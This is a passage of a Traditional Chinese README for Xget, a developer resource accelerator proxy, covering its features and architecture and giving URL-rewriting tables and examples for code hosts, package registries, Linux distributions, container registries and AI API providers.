Xget:一個高效能、多協定、高安全性的開發者資源加速引擎》](https://blog.xi-xu.me/en/2025/10/07/Deep-Dive-into-Xget.html)**。 Xget 已受邀入駐 [GitCode 平台](https://gitcode.com/xixu-me/xget),並被認證為 G-Star 畢業專案;同時也獲得多位技術博主自發推薦,包括[阮一峰](https://www.ruanyifeng.com/blog/2025/12/weekly-issue-379.html#:~:text=Xget)、[GitHubDaily](https://x.com/i/status/1956204203937829256)、[魚 C](https://www.bilibili.com/video/BV1EeeBzVEop/)、[玄離 199](https://www.bilibili.com/video/BV197hqzsE8Y/?t=8) 等。在此感謝 GitCode 的肯定,也感謝每一位分享、推薦與實際使用 Xget 的朋友。 ## 🎯 快速開始 **預部署實例(不保證可靠性):`xget.xi-xu.me`** **URL 轉換器:**[**`xuc.xi-xu.me`**](https://xuc.xi-xu.me) - 一鍵轉換任意支援平台的 URL 為 Xget 的加速格式 **Agent Skills:**[**`skills/xget/`**](skills/xget/) - 可作為獨立的 `/xget` 目錄直接安裝到 skills 目錄中 ## 🌟 核心優勢 - 為什麼選擇 Xget? ### ⚡ 極速效能 - 突破傳統加速器瓶頸 - **⚡ 毫秒級回應**:Cloudflare 全球 330+ 邊緣節點,平均回應時間 < 50ms - **🌐 HTTP/3 極速協定**:啟用最新 HTTP/3 協定,連線延遲降低 40%,傳輸速度提升 30% - **📦 智慧多重壓縮**:gzip、deflate、brotli 三重壓縮演算法,傳輸效率提升 60% - **🔗 零延遲預連線**:連線預熱和保持活躍,消除握手開銷,實現秒級回應 - **⚡ 平行分片下載**:完整支援 HTTP Range 請求,多執行緒下載速度倍增 - **🎯 智慧路由最佳化**:自動選擇最佳傳輸路徑,避開網路壅塞節點 ### 🌐 多平台深度整合 - **一站式多平台支援**:統一支援各種開發場景中的主流平台 - **智慧識別與轉換**:自動識別平台前綴並轉換為目標平台的正確 URL 結構 - **一致的加速體驗**:無論檔案類型或來源,均可享受統一且穩定的極速下載體驗 ### 🔒 企業級安全保障 - **多層安全標頭**: - `Strict-Transport-Security`:強制 HTTPS 傳輸,預防中間人攻擊 - `X-Frame-Options: DENY`:防止點擊劫持攻擊 - `X-XSS-Protection`:內建 XSS 防護機制 - `Content-Security-Policy`:嚴格的內容安全策略 - `Referrer-Policy`:控制參照來源資訊洩露 - **請求驗證機制**: - HTTP 方法白名單:常規請求限制為 GET/HEAD,而 Git/LFS、容器映像倉庫、AI 推理與 Hugging Face API 請求會按需允許 `POST`、`PUT`、`PATCH` 和 `DELETE` - 路徑長度限制:防止超長 URL 攻擊(最大 2048 字元) - 輸入清理:防止路徑遍歷和注入攻擊 - **逾時保護**:30 秒請求逾時,防止資源耗盡和惡意請求 ### 🚀 現代架構與可靠性 - **智慧重試機制**: - 最大 3 次重試,線性延遲策略(1000ms × 重試次數) - 自動錯誤恢復,提高下載成功率 - 逾時檢測和中斷處理 - **高效快取策略**: - 1800 秒(30 分鐘)預設快取時長,顯著減少原始伺服器壓力 - Git 操作跳過快取,確保即時性 - 基於 Cloudflare Cache API 的邊緣快取 - **效能監控系統**: - 內建 `PerformanceMonitor` 類別,即時追蹤請求各階段耗時 - 透過 `X-Performance-Metrics` 回應標頭提供詳細效能數據 - 支援快取命中率統計和最佳化建議 ### 🎯 Git 協定完全相容 - **智慧協定檢測**: - 自動識別 Git 特定端點(`/info/refs`、`/git-upload-pack`、`/git-receive-pack`) - 檢測 Git 用戶端 User-Agent 模式 - 支援 `service=git-upload-pack` 等查詢參數 - **完整操作支援**: - `git clone`:完整儲存庫克隆,支援淺克隆和分支指定 - `git push`:程式碼推送和分支管理 - `git pull/fetch`:增量更新和遠端同步 - `git submodule`:子模組遞迴克隆 - **協定最佳化**: - 保持 Git 專用請求標頭和驗證資訊 - 智慧 User-Agent 處理(預設 `git/2.34.1`) - 支援 Git LFS 大檔案傳輸 ### 📱 生態系統整合 - **專用瀏覽器擴充功能**:[Xget Now](https://github.com/xixu-me/Xget-Now) 提供無縫體驗 - 自動 URL 轉址,無需手動修改 URL - 支援自訂 Xget 實例網域 - 多平台偏好設定和黑白名單管理 - 本地處理,確保隱私安全 - **下載工具相容性**:完美支援 wget、cURL、aria2、IDM 等主流下載工具 - **CI/CD 整合**:可直接在 GitHub Actions、GitLab CI 等環境中使用 ## 🏗️ 系統架構 ### 請求處理流程 ```mermaid graph TD Request[使用者請求 / User-Agent] --> Identify{識別平台} Identify -->|無效| Error[返回錯誤] Identify -->|有效| Transform[轉換路徑] Transform --> CheckProtocol{檢查協定} CheckProtocol -->|Git| GitHandler[Git 協定適配器] CheckProtocol -->|Docker| DockerHandler[Docker 協定適配器] CheckProtocol -->|AI| AIHandler[AI 推理適配器] CheckProtocol -->|標準| StdHandler[標準適配器] GitHandler --> Upstream[獲取上游] DockerHandler --> Upstream AIHandler --> Upstream StdHandler --> CacheCheck{檢查快取} CacheCheck -->|命中| ReturnCache[返回快取回應] CacheCheck -->|未命中| Upstream Upstream -->|成功| ProcessResponse[處理回應] Upstream -->|失敗| Retry{重試?} Retry -->|是| Wait["等待 (退避)"] --> Upstream Retry -->|否| Error ProcessResponse --> Finalize[添加標頭並返回] Finalize --> Response[回應] ``` ### 組件架構 ```mermaid classDiagram class Worker { +fetch(request) } class AppHandler { +handleRequest(request, env, ctx) } class PlatformCatalog { +PLATFORM_CATALOG } class PlatformRouting { +transformPath() +resolveTarget() } class Validation { +validateRequest() +isDockerRequest() } class GitProtocol { +configureGitHeaders() +isGitRequest() } class DockerProtocol { +handleDockerAuth() +fetchToken() } class AIProtocol { +configureAIHeaders() } class UpstreamPipeline { +tryReadCachedResponse() +fetchUpstreamResponse() } class ResponsePipeline { +finalizeResponse() } class Security { +addSecurityHeaders() } class Performance { +monitor() } Worker --> AppHandler AppHandler --> PlatformCatalog AppHandler --> PlatformRouting AppHandler --> Validation AppHandler --> GitProtocol AppHandler --> DockerProtocol AppHandler --> AIProtocol AppHandler --> UpstreamPipeline AppHandler --> ResponsePipeline AppHandler --> Security AppHandler --> Performance PlatformRouting --> PlatformCatalog ``` ## 📖 URL 轉換規則 使用預部署實例 **`xget.xi-xu.me`** 或您自己部署的實例,只需簡單替換網域並新增平台前綴: ### 轉換格式 | 平台 | 平台前綴 | 原始 URL 格式 | 加速 URL 格式 | | ---------------- | ----------- | ------------------------------------------------------------------- | -------------------------------------------------------------------------------- | | GitHub | `gh` | `https://github.com/...` | `https://xget.xi-xu.me/gh/...` | | GitHub Gist | `gist` | `https://gist.github.com/...` | `https://xget.xi-xu.me/gist/...` | | GitLab | `gl` | `https://gitlab.com/...` | `https://xget.xi-xu.me/gl/...` | | Gitea | `gitea` | `https://gitea.com/...` | `https://xget.xi-xu.me/gitea/...` | | Codeberg | `codeberg` | `https://codeberg.org/...` | `https://xget.xi-xu.me/codeberg/...` | | SourceForge | `sf` | `https://sourceforge.net/...` | `https://xget.xi-xu.me/sf/...` | | AOSP | `aosp` | `https://android.googlesource.com/...` | `https://xget.xi-xu.me/aosp/...` | | Hugging Face | `hf` | `https://huggingface.co/...` | `https://xget.xi-xu.me/hf/...` | | Civitai | `civitai` | `https://civitai.com/...` | `https://xget.xi-xu.me/civitai/...` | | npm | `npm` | `https://registry.npmjs.org/...` | `https://xget.xi-xu.me/npm/...` | | PyPI | `pypi` | `https://pypi.org/...` | `https://xget.xi-xu.me/pypi/...` | | conda | `conda` | `https://repo.anaconda.com/...` 和 `https://conda.anaconda.org/...` | `https://xget.xi-xu.me/conda/...` 和 `https://xget.xi-xu.me/conda/community/...` | | Maven | `maven` | `https://repo1.maven.org/...` | `https://xget.xi-xu.me/maven/...` | | Apache | `apache` | `https://downloads.apache.org/...` | `https://xget.xi-xu.me/apache/...` | | Gradle | `gradle` | `https://plugins.gradle.org/...` | `https://xget.xi-xu.me/gradle/...` | | Homebrew | `homebrew` | `https://github.com/Homebrew/...` | `https://xget.xi-xu.me/homebrew/...` | | RubyGems | `rubygems` | `https://rubygems.org/...` | `https://xget.xi-xu.me/rubygems/...` | | CRAN | `cran` | `https://cran.r-project.org/...` | `https://xget.xi-xu.me/cran/...` | | CPAN | `cpan` | `https://www.cpan.org/...` | `https://xget.xi-xu.me/cpan/...` | | CTAN | `ctan` | `https://tug.ctan.org/...` | `https://xget.xi-xu.me/ctan/...` | | Go 模組 | `golang` | `https://proxy.golang.org/...` | `https://xget.xi-xu.me/golang/...` | | NuGet | `nuget` | `https://api.nuget.org/...` | `https://xget.xi-xu.me/nuget/...` | | Rust Crates | `crates` | `https://crates.io/...` | `https://xget.xi-xu.me/crates/...` | | Packagist | `packagist` | `https://repo.packagist.org/...` | `https://xget.xi-xu.me/packagist/...` | | Flathub | `flathub` | `https://dl.flathub.org/...` | `https://xget.xi-xu.me/flathub/...` | | Debian | `debian` | `https://deb.debian.org/...` | `https://xget.xi-xu.me/debian/...` | | Ubuntu | `ubuntu` | `https://archive.ubuntu.com/...` | `https://xget.xi-xu.me/ubuntu/...` | | Fedora | `fedora` | `https://dl.fedoraproject.org/...` | `https://xget.xi-xu.me/fedora/...` | | Rocky Linux | `rocky` | `https://download.rockylinux.org/...` | `https://xget.xi-xu.me/rocky/...` | | openSUSE | `opensuse` | `https://download.opensuse.org/...` | `https://xget.xi-xu.me/opensuse/...` | | Arch Linux | `arch` | `https://geo.mirror.pkgbuild.com/...` | `https://xget.xi-xu.me/arch/...` | | arXiv | `arxiv` | `https://arxiv.org/...` | `https://xget.xi-xu.me/arxiv/...` | | F-Droid | `fdroid` | `https://f-droid.org/...` | `https://xget.xi-xu.me/fdroid/...` | | Jenkins 外掛程式 | `jenkins` | `https://updates.jenkins.io/...` | `https://xget.xi-xu.me/jenkins/...` | | 容器註冊表 | `cr` | 見[容器註冊表](#容器註冊表) | 見[容器註冊表](#容器註冊表) | | AI 推理供應商 | `ip` | 見 [AI 推理供應商](#ai-推理供應商) | 見 [AI 推理供應商](#ai-推理供應商) | ### 各平台轉換範例 #### GitHub ```url # 原始 URL https://github.com/microsoft/vscode/archive/refs/heads/main.zip # 轉換後(新增 gh 前綴) https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip ``` #### GitHub Gist ```url # 原始 URL https://gist.github.com/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md # 轉換後(新增 gist 前綴) https://xget.xi-xu.me/gist/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md ``` #### GitLab ```url # 原始 URL https://gitlab.com/gitlab-org/gitlab/-/archive/master/gitlab-master.zip # 轉換後(新增 gl 前綴) https://xget.xi-xu.me/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip ``` #### Gitea ```url # 原始 URL https://gitea.com/gitea/gitea/archive/master.zip # 轉換後(新增 gitea 前綴) https://xget.xi-xu.me/gitea/gitea/gitea/archive/master.zip ``` #### Codeberg ```url # 原始 URL https://codeberg.org/forgejo/forgejo/archive/forgejo.zip # 轉換後(新增 codeberg 前綴) https://xget.xi-xu.me/codeberg/forgejo/forgejo/archive/forgejo.zip ``` #### SourceForge ```url # 原始 URL https://sourceforge.net/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download # 轉換後(新增 sf 前綴) https://xget.xi-xu.me/sf/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download ``` #### AOSP (Android 開源專案) ```url # AOSP 專案原始 URL https://android.googlesource.com/platform/frameworks/base # 轉換後(新增 aosp 前綴) https://xget.xi-xu.me/aosp/platform/frameworks/base # AOSP 裝置樹原始 URL https://android.googlesource.com/device/google/pixel # 轉換後(新增 aosp 前綴) https://xget.xi-xu.me/aosp/device/google/pixel ``` #### Hugging Face ```url # 模型檔案原始 URL https://huggingface.co/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin # 轉換後(新增 hf 前綴) https://xget.xi-xu.me/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin # 資料集檔案原始 URL https://huggingface.co/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet # 轉換後(新增 hf 前綴) https://xget.xi-xu.me/hf/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet ``` #### Civitai ```url # AI 模型下載原始 URL https://civitai.com/api/download/models/128713 # 轉換後(新增 civitai 前綴) https://xget.xi-xu.me/civitai/api/download/models/128713 # 模型 API 原始 URL https://civitai.com/api/v1/models/7240 # 轉換後(新增 civitai 前綴) https://xget.xi-xu.me/civitai/api/v1/models/7240 # 模型版本 API 原始 URL https://civitai.com/api/v1/model-versions/128713 # 轉換後(新增 civitai 前綴) https://xget.xi-xu.me/civitai/api/v1/model-versions/128713 ``` #### npm ```url # 軟體包檔案原始 URL https://registry.npmjs.org/react/-/react-18.2.0.tgz # 轉換後(新增 npm 前綴) https://xget.xi-xu.me/npm/react/-/react-18.2.0.tgz # 軟體包元資料原始 URL https://registry.npmjs.org/lodash # 轉換後(新增 npm 前綴) https://xget.xi-xu.me/npm/lodash ``` #### PyPI ```url # Python 軟體包檔案原始 URL https://pypi.org/packages/source/r/requests/requests-2.31.0.tar.gz # 轉換後(新增 pypi 前綴) https://xget.xi-xu.me/pypi/packages/source/r/requests/requests-2.31.0.tar.gz # Wheel 檔案原始 URL https://pypi.org/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl # 轉換後(新增 pypi 前綴) https://xget.xi-xu.me/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl ``` #### conda ```url # 預設頻道軟體包檔案原始 URL https://repo.anaconda.com/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda # 轉換後(新增 conda 前綴) https://xget.xi-xu.me/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda # 社群頻道元資料原始 URL https://conda.anaconda.org/conda-forge/linux-64/repodata.json # 轉換後(新增 conda/community 前綴) https://xget.xi-xu.me/conda/community/conda-forge/linux-64/repodata.json ``` #### Maven ```url # Maven 中央儲存庫 JAR 檔案原始 URL https://repo1.maven.org/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar # 轉換後(新增 maven 前綴) https://xget.xi-xu.me/maven/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar # Maven 元資料原始 URL https://repo1.maven.org/maven2/org/apache/commons/commons-lang3/maven-metadata.xml # 轉換後(新增 maven 前綴) https://xget.xi-xu.me/maven/maven2/org/apache/commons/commons-lang3/maven-metadata.xml ``` #### Apache 軟體下載 ```url # Apache 軟體下載原始 URL https://downloads.apache.org/kafka/3.6.1/kafka_2.13-3.6.1.tgz # 轉換後(新增 apache 前綴) https://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz # Apache Maven 下載原始 URL https://downloads.apache.org/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz # 轉換後(新增 apache 前綴) https://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz # Apache Spark 下載原始 URL https://downloads.apache.org/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz # 轉換後(新增 apache 前綴) https://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz ``` #### Gradle ```url # Gradle 外掛程式入口網站 JAR 檔案原始 URL https://plugins.gradle.org/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar # 轉換後(新增 gradle 前綴) https://xget.xi-xu.me/gradle/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar # Gradle 外掛程式元資料原始 URL https://plugins.gradle.org/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module # 轉換後(新增 gradle 前綴) https://xget.xi-xu.me/gradle/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module ``` #### Homebrew ```url # Homebrew 公式儲存庫原始 URL https://github.com/Homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb # 轉換後(新增 homebrew 前綴) https://xget.xi-xu.me/homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb # Homebrew API 原始 URL https://formulae.brew.sh/api/formula/git.json # 轉換後(新增 homebrew/api 前綴) https://xget.xi-xu.me/homebrew/api/formula/git.json # Homebrew Bottles 原始 URL https://ghcr.io/v2/homebrew/core/git/manifests/2.39.0 # 轉換後(新增 homebrew/bottles 前綴) https://xget.xi-xu.me/homebrew/bottles/v2/homebrew/core/git/manifests/2.39.0 ``` #### RubyGems ```url # RubyGems 軟體包檔案原始 URL https://rubygems.org/gems/rails-7.0.4.gem # 轉換後(新增 rubygems 前綴) https://xget.xi-xu.me/rubygems/gems/rails-7.0.4.gem # RubyGems API 原始 URL https://rubygems.org/api/v1/gems/nokogiri.json # 轉換後(新增 rubygems 前綴) https://xget.xi-xu.me/rubygems/api/v1/gems/nokogiri.json ``` #### CRAN ```url # CRAN 軟體包檔案原始 URL https://cran.r-project.org/src/contrib/ggplot2_3.5.2.tar.gz # 轉換後(新增 cran 前綴) https://xget.xi-xu.me/cran/src/contrib/ggplot2_3.5.2.tar.gz # CRAN 軟體包元資料原始 URL https://cran.r-project.org/web/packages/dplyr/DESCRIPTION # 轉換後(新增 cran 前綴) https://xget.xi-xu.me/cran/web/packages/dplyr/DESCRIPTION ``` #### CPAN (Perl 軟體包管理) ```url # CPAN 模組原始 URL https://www.cpan.org/modules/by-module/DBI/DBI-1.643.tar.gz # 轉換後(新增 cpan 前綴) https://xget.xi-xu.me/cpan/modules/by-module/DBI/DBI-1.643.tar.gz # CPAN 作者軟體包原始 URL https://www.cpan.org/authors/id/T/TI/TIMB/DBI-1.643.tar.gz # 轉換後(新增 cpan 前綴) https://xget.xi-xu.me/cpan/authors/id/T/TI/TIMB/DBI-1.643.tar.gz ``` #### CTAN (TeX/LaTeX 軟體包管理) ```url # CTAN 軟體包檔案原始 URL https://tug.ctan.org/tex-archive/macros/latex/contrib/beamer.zip # 轉換後(新增 ctan 前綴) https://xget.xi-xu.me/ctan/tex-archive/macros/latex/contrib/beamer.zip # CTAN 字體檔案原始 URL https://tug.ctan.org/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk # 轉換後(新增 ctan 前綴) https://xget.xi-xu.me/ctan/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk ``` #### Go 模組 ```url # Go 模組代理原始 URL https://proxy.golang.org/github.com/gin-gonic/gin/@v/v1.9.1.zip # 轉換後(新增 golang 前綴) https://xget.xi-xu.me/golang/github.com/gin-gonic/gin/@v/v1.9.1.zip # Go 模組資訊原始 URL https://proxy.golang.org/github.com/gorilla/mux/@v/list # 轉換後(新增 golang 前綴) https://xget.xi-xu.me/golang/github.com/gorilla/mux/@v/list ``` #### NuGet ```url # NuGet 軟體包下載原始 URL https://api.nuget.org/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg # 轉換後(新增 nuget 前綴) https://xget.xi-xu.me/nuget/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg # NuGet 軟體包元資料原始 URL https://api.nuget.org/v3/registration5-semver1/microsoft.aspnetcore.app/index.json # 轉換後(新增 nuget 前綴) https://xget.xi-xu.me/nuget/v3/registration5-semver1/microsoft.aspnetcore.app/index.json ``` #### Rust Crates ```url # Crate 下載原始 URL https://crates.io/api/v1/crates/serde/1.0.0/download # 轉換後(新增 crates 前綴) https://xget.xi-xu.me/crates/serde/1.0.0/download # Crate 元資料原始 URL https://crates.io/api/v1/crates/serde # 轉換後(新增 crates 前綴) https://xget.xi-xu.me/crates/serde # Crate 搜尋原始 URL https://crates.io/api/v1/crates?q=serde # 轉換後(新增 crates 前綴) https://xget.xi-xu.me/crates/?q=serde ``` #### Packagist ```url # Packagist 軟體包元資料原始 URL https://repo.packagist.org/p2/symfony/console.json # 轉換後(新增 packagist 前綴) https://xget.xi-xu.me/packagist/p2/symfony/console.json # Packagist 軟體包清單原始 URL https://repo.packagist.org/packages/list.json # 轉換後(新增 packagist 前綴) https://xget.xi-xu.me/packagist/packages/list.json ``` #### Flathub ```url # Flathub 儲存庫原始 URL https://dl.flathub.org/repo/summary # 轉換後(新增 flathub 前綴) https://xget.xi-xu.me/flathub/repo/summary # Flathub 應用程式引用原始 URL https://dl.flathub.org/repo/appstream/org.gnome.gedit.flatpakref # 轉換後(新增 flathub 前綴) https://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref ``` #### Linux 發行版 ```url # Debian 軟體包原始 URL https://deb.debian.org/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb # 轉換後(新增 debian 前綴) https://xget.xi-xu.me/debian/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb # Ubuntu 軟體包原始 URL https://archive.ubuntu.com/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb # 轉換後(新增 ubuntu 前綴) https://xget.xi-xu.me/ubuntu/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb # Fedora 軟體包原始 URL https://dl.fedoraproject.org/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm # 轉換後(新增 fedora 前綴) https://xget.xi-xu.me/fedora/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm # Rocky Linux 軟體包原始 URL https://download.rockylinux.org/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm # 轉換後(新增 rocky 前綴) https://xget.xi-xu.me/rocky/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm # openSUSE 軟體包原始 URL https://download.opensuse.org/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm # 轉換後(新增 opensuse 前綴) https://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm # Arch Linux 軟體包原始 URL https://geo.mirror.pkgbuild.com/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst # 轉換後(新增 arch 前綴) https://xget.xi-xu.me/arch/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst ``` #### arXiv ```url # arXiv 論文 PDF 原始 URL https://arxiv.org/pdf/2301.07041.pdf # 轉換後(新增 arxiv 前綴) https://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf # arXiv 論文原始碼原始 URL https://arxiv.org/e-print/2301.07041 # 轉換後(新增 arxiv 前綴) https://xget.xi-xu.me/arxiv/e-print/2301.07041 ``` #### F-Droid ```url # F-Droid 應用程式 APK 原始 URL https://f-droid.org/repo/org.fdroid.fdroid_1016050.apk # 轉換後(新增 fdroid 前綴) https://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk # F-Droid 應用程式元資料原始 URL https://f-droid.org/api/v1/packages/org.fdroid.fdroid # 轉換後(新增 fdroid 前綴) https://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid ``` #### Jenkins 外掛程式 ```url # Jenkins 更新中心原始 URL https://updates.jenkins.io/update-center.json # 轉換後(新增 jenkins 前綴) https://xget.xi-xu.me/jenkins/update-center.json # Jenkins 外掛程式下載原始 URL https://updates.jenkins.io/download/plugins/maven-plugin/3.27/maven-plugin.hpi # 轉換後(新增 jenkins 前綴) https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi ``` #### 容器註冊表 Xget 支援多個容器註冊表,使用 `cr/[容器註冊表前綴]` 格式: | 容器註冊表 | 容器註冊表前綴 | 原始 URL 格式 | 加速 URL 格式 | | -------------------- | -------------- | ------------------------------------------- | ------------------------------------------- | | Docker Hub | `docker` | `https://registry-1.docker.io/...` | `https://xget.xi-xu.me/cr/docker/...` | | Quay.io | `quay` | `https://quay.io/...` | `https://xget.xi-xu.me/cr/quay/...` | | Google 容器註冊表 | `gcr` | `https://gcr.io/...` | `https://xget.xi-xu.me/cr/gcr/...` | | Microsoft 容器註冊表 | `mcr` | `https://mcr.microsoft.com/...` | `https://xget.xi-xu.me/cr/mcr/...` | | Amazon Public ECR | `ecr` | `https://public.ecr.aws/...` | `https://xget.xi-xu.me/cr/ecr/...` | | GitHub 容器註冊表 | `ghcr` | `https://ghcr.io/...` | `https://xget.xi-xu.me/cr/ghcr/...` | | GitLab 容器註冊表 | `gitlab` | `https://registry.gitlab.com/...` | `https://xget.xi-xu.me/cr/gitlab/...` | | Red Hat 註冊表 | `redhat` | `https://registry.redhat.io/...` | `https://xget.xi-xu.me/cr/redhat/...` | | Oracle 容器註冊表 | `oracle` | `https://container-registry.oracle.com/...` | `https://xget.xi-xu.me/cr/oracle/...` | | Cloudsmith | `cloudsmith` | `https://docker.cloudsmith.io/...` | `https://xget.xi-xu.me/cr/cloudsmith/...` | | DigitalOcean 註冊表 | `digitalocean` | `https://registry.digitalocean.com/...` | `https://xget.xi-xu.me/cr/digitalocean/...` | | VMware 註冊表 | `vmware` | `https://projects.registry.vmware.com/...` | `https://xget.xi-xu.me/cr/vmware/...` | | Kubernetes 註冊表 | `k8s` | `https://registry.k8s.io/...` | `https://xget.xi-xu.me/cr/k8s/...` | | Heroku 註冊表 | `heroku` | `https://registry.heroku.com/...` | `https://xget.xi-xu.me/cr/heroku/...` | | SUSE 註冊表 | `suse` | `https://registry.suse.com/...` | `https://xget.xi-xu.me/cr/suse/...` | | openSUSE 註冊表 | `opensuse` | `https://registry.opensuse.org/...` | `https://xget.xi-xu.me/cr/opensuse/...` | | Gitpod 註冊表 | `gitpod` | `https://registry.gitpod.io/...` | `https://xget.xi-xu.me/cr/gitpod/...` | ```url # Docker Hub 原始 URL(官方鏡像) https://registry-1.docker.io/v2/library/nginx/manifests/latest # 轉換後(新增 cr/docker 前綴) https://xget.xi-xu.me/cr/docker/v2/nginx/manifests/latest # Docker Hub 原始 URL(使用者鏡像) https://registry-1.docker.io/v2/nginxinc/nginx-unprivileged/manifests/latest # 轉換後(新增 cr/docker 前綴) https://xget.xi-xu.me/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest # GitHub 容器註冊表原始 URL https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest # 轉換後(新增 cr/ghcr 前綴) https://xget.xi-xu.me/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest # Google 容器註冊表原始 URL https://gcr.io/v2/distroless/base/manifests/latest # 轉換後(新增 cr/gcr 前綴) https://xget.xi-xu.me/cr/gcr/v2/distroless/base/manifests/latest ``` 應用場景見[容器鏡像加速](#容器鏡像加速)。 #### AI 推理供應商 Xget 支援眾多主流 AI 推理供應商的 API 加速,使用 `ip/[AI 推理供應商前綴]` 格式: | AI 推理供應商 | AI 推理供應商前綴 | 原始 URL 格式 | 加速 URL 格式 | | -------------- | ----------------- | ----------------------------------------------- | -------------------------------------------- | | OpenAI | `openai` | `https://api.openai.com/...` | `https://xget.xi-xu.me/ip/openai/...` | | Anthropic | `anthropic` | `https://api.anthropic.com/...` | `https://xget.xi-xu.me/ip/anthropic/...` | | Gemini | `gemini` | `https://generativelanguage.googleapis.com/...` | `https://xget.xi-xu.me/ip/gemini/...` | | Vertex AI | `vertexai` | `https://aiplatform.googleapis.com/...` | `https://xget.xi-xu.me/ip/vertexai/...` | | Cohere | `cohere` | `https://api.cohere.ai/...` | `https://xget.xi-xu.me/ip/cohere/...` | | Mistral AI | `mistralai` | `https://api.mistral.ai/...` | `https://xget.xi-xu.me/ip/mistralai/...` | | xAI | `xai` | `https://api.x.ai/...` | `https://xget.xi-xu.me/ip/xai/...` | | GitHub Models | `githubmodels` | `https://models.github.ai/...` | `https://xget.xi-xu.me/ip/githubmodels/...` | | NVIDIA API | `nvidiaapi` | `https://integrate.api.nvidia.com/...` | `https://xget.xi-xu.me/ip/nvidiaapi/...` | | Perplexity | `perplexity` | `https://api.perplexity.ai/...` | `https://xget.xi-xu.me/ip/perplexity/...` | | Groq | `groq` | `https://api.groq.com/...` | `https://xget.xi-xu.me/ip/groq/...` | | Cerebras | `cerebras` | `https://api.cerebras.ai/...` | `https://xget.xi-xu.me/ip/cerebras/...` | | SambaNova | `sambanova` | `https://api.sambanova.ai/...` | `https://xget.xi-xu.me/ip/sambanova/...` | | Siray | `siray` | `https://api.siray.ai/...` | `https://xget.xi-xu.me/ip/siray/...` | | HF Inference | `huggingface` | `https://router.huggingface.co/...` | `https://xget.xi-xu.me/ip/huggingface/...` | | Together | `together` | `https://api.together.xyz/...` | `https://xget.xi-xu.me/ip/together/...` | | Replicate | `replicate` | `https://api.replicate.com/...` | `https://xget.xi-xu.me/ip/replicate/...` | | Fireworks | `fireworks` | `https://api.fireworks.ai/...` | `https://xget.xi-xu.me/ip/fireworks/...` | | Nebius | `nebius` | `https://api.studio.nebius.ai/...` | `https://xget.xi-xu.me/ip/nebius/...` | | Jina | `jina` | `https://api.jina.ai/...` | `https://xget.xi-xu.me/ip/jina/...` | | Voyage AI | `voyageai` | `https://api.voyageai.com/...` | `https://xget.xi-xu.me/ip/voyageai/...` | | Fal AI | `falai` | `https://fal.run/...` | `https://xget.xi-xu.me/ip/falai/...` | | Novita | `novita` | `https://api.novita.ai/...` | `https://xget.xi-xu.me/ip/novita/...` | | Burncloud | `burncloud` | `https://ai.burncloud.com/...` | `https://xget.xi-xu.me/ip/burncloud/...` | | OpenRouter | `openrouter` | `https://openrouter.ai/...` | 